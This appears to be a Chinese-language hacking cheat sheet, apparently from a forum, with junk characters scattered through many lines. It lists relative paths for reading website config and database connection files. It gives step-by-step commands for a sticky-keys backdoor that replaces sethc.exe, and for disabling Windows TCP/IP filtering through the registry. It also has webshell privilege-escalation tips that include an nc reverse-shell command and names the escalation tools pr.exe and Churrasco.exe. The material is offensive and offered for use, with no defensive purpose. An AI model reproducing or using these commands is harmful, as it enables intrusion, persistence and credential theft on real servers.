/ ~0 \6 w/ |& e9 X  ]3 [c:\Program Files\Oracle\bin\regsvr32.exe
9 Y2 N: |3 y% _* H, @# _c:\Program Files\腾讯游戏\QQGAME\readme.txt
9 T0 |% i% z" H6 C" @4 fc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

# b3 N9 m1 w3 m3.网站相对路径:

+ Q4 H  I+ M1 E* F1 k: q4 ^' a: k/config.php
../../config.php
( c; U- o! G( S../config.php
../../../config.php
/config.inc.php
% \, n; \4 k, q7 o6 \& e8 O+ f./config.inc.php
. b/ E* O. a8 g) Y0 Q  }0 R../../config.inc.php
9 z& x3 u1 c; b$ v: E# `../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
! J% q/ Y5 F4 N% C' m../../conn.php
/ M: r) U9 ^; y" ]4 o../conn.php
../../../conn.php
/conn.asp
7 B& {8 y" V. U% a- L8 z5 w$ ^./conn.asp
../../conn.asp
../conn.asp
" `! P/ F: a4 M5 Z8 K% c../../../conn.asp
/config.inc.php
$ j0 @# e1 m7 g0 x: ]3 x/ d./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
( R9 l9 N% B. e5 D# I../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
0 d  {1 T( l* D  V8 J./config/config.inc.php
../../config/config.inc.php
  G2 Q$ }+ M$ @' p" B! N9 D../config/config.inc.php
, e; }. T: F/ [../../../config/config.inc.php
/config/conn.php
! a% w/ t' c- U; E' m& B./config/conn.php
4 q( a& X" `2 _../../config/conn.php
2 }; e- I* j! G6 b$ }& D+ v2 u7 y../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
4 ]9 z" L( S$ {9 p) b; L& D../../../config/conn.asp
8 H- x. a0 {" `+ Z$ L/config/config.inc.php
./config/config.inc.php
; y( ^1 r. b+ T6 [+ v- s( }../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
- k8 S' l8 F' c$ v3 L* {- t/data/config.php
5 q+ ~- L5 q9 f: p6 r/ ~. j6 n9 u& ~../../data/config.php
../data/config.php
../../../data/config.php
9 @: v8 ^" C% p6 X( O& p/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
4 p; R0 t/ d3 w# G* y) W../data/config.inc.php
, M; m$ N3 @9 d; |/ B../../../data/config.inc.php
; E9 \# A+ H: V) [* t: ]6 ?9 z; y/data/conn.php
$ a1 T) Y) ]4 E& r5 ?6 b7 ]./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
0 K0 K- P) N5 G* T, Y../../data/conn.asp
8 b* j) G3 V4 y% c../data/conn.asp
, k1 ^4 B! b& |6 d7 Q3 r../../../data/conn.asp
5 p5 j7 D; X9 p: Z/data/config.inc.php
./data/config.inc.php
$ _- L1 w0 c+ p5 _../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
$ ]& ?* t# [+ w; A5 r$ X../../include/config.php
/ Y& M, {5 X. q- Q8 ^9 k../include/config.php
# K- ]1 D2 H* y; ~" N; S) b' a../../../include/config.php
/include/config.inc.php
% g4 |5 {9 a& c1 |" g/ E- e./include/config.inc.php
../../include/config.inc.php
; j3 Z' u" F2 W$ ^: L2 D../include/config.inc.php
../../../include/config.inc.php
2 N+ _9 E) X* Q4 \, T3 E/include/conn.php
./include/conn.php
6 L# u! M% ^" @* c# P../../include/conn.php
../include/conn.php
2 j' X, B. h8 c; s  T' U& f: i../../../include/conn.php
/include/conn.asp
./include/conn.asp
* m# i; S, Y5 y5 U# }../../include/conn.asp
- h, }! Y! C8 E/ v../include/conn.asp
( d+ K* k' e" D* B5 @) l  ~. S0 ]$ ?../../../include/conn.asp
, _& X7 w8 n/ C, `% c1 p/include/config.inc.php
; z* H2 J* \, O9 z- ]8 C5 n./include/config.inc.php
% u! s. |4 }/ W+ {- A* x; A../../include/config.inc.php
../include/config.inc.php
0 n: Z/ k; Z  A! E8 a' M../../../include/config.inc.php
) G0 [3 e7 h7 b; \% e/inc/config.php
../../inc/config.php
* y, _  P- S( w" A8 P../inc/config.php
' p3 c. h2 |, O5 \: g+ l: G2 D- U' d../../../inc/config.php
# K, B& b# ]4 w) D/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
7 B7 G4 a, s' ~0 D8 b/inc/conn.php
1 O# A0 K4 x+ ]) H./inc/conn.php
! O/ B5 ]7 F  _* b2 i% G../../inc/conn.php
../inc/conn.php
/ R6 L' {# D% I- W+ c( `$ @../../../inc/conn.php
/inc/conn.asp
: I/ X$ @6 |& A./inc/conn.asp
  T2 X' h6 ~2 F& @/ f../../inc/conn.asp
0 z+ q1 P& Q+ O# i1 p* J2 r2 K../inc/conn.asp
../../../inc/conn.asp
. p, l) m5 M3 e0 J, D2 q6 {/inc/config.inc.php
$ S2 h" s7 }( o" h& a; }2 l! C% t./inc/config.inc.php
. ]* N* W6 v1 U../../inc/config.inc.php
4 }% }+ l: v5 e1 X5 d8 D: f../inc/config.inc.php
- d# W" S) y- K! A../../../inc/config.inc.php
! y1 r4 A% T/ B5 w! l8 V, t/ v/index.php
./index.php
  l( q/ b; k% r! i' r../../index.php
../index.php
../../../index.php
9 ^' b' z# Z# h/index.asp
( v# ~7 @/ t' f2 {6 O. ?. R6 y- ~5 G./index.asp
: F& L2 u7 d* \% M; T8 ~- J* X../../index.asp
../index.asp
+ m+ B" t9 P- P3 T' ^../../../index.asp
! q* |4 T9 |% e/ I3 I% C4 z替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
0 ?- r# {  Q; L+ R5 g' g* S
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
. T4 r/ B+ x. E! `9 p4 T$ \
$ |" {. y+ s( y1 n0 v) N1 P　　del c:\windows\system32\sethc.exe
- b9 e% C! C# B. U
  }! N, T0 M* F2 L　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

  H3 t2 h% }: s8 w7 e　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

" N  _! U3 x- K6 E, \　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
) z" o+ h1 l( S0 @+ C去除TCPIP筛选
. k0 a& n1 h/ {, G. S8 ~TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
/ M4 _! Q2 i* o" c# {' pHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
" t/ p) D% C( F% D8 S, p  U/ H0 zHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* x0 U0 n, u! {regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
$ S5 t( r0 t0 V6 V7 d5 sregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
, n! x9 g+ i3 L  [5 Y. O; A导入注册表即可

webshell提权小技巧
% m+ |$ |& N5 k" t7 M+ Ucmd路径:
8 J/ s3 B/ }3 {2 s* vc:\windows\temp\cmd.exe
+ p* c  R- J0 p' L' Knc也在同目录下
例如反弹cmdshell：
% o! K/ l  G3 G. L. X"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
' r# R7 m) }: f
( L; _5 N9 {+ ^$ C: u/ g' o" ]而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
0 N# x7 z8 `6 W+ u$ J4 C3 Z* k命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
' v% N! ]# `( ^5 [' p+ X这个不是重点
' g$ t- k0 q/ V% u( O; O. f我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功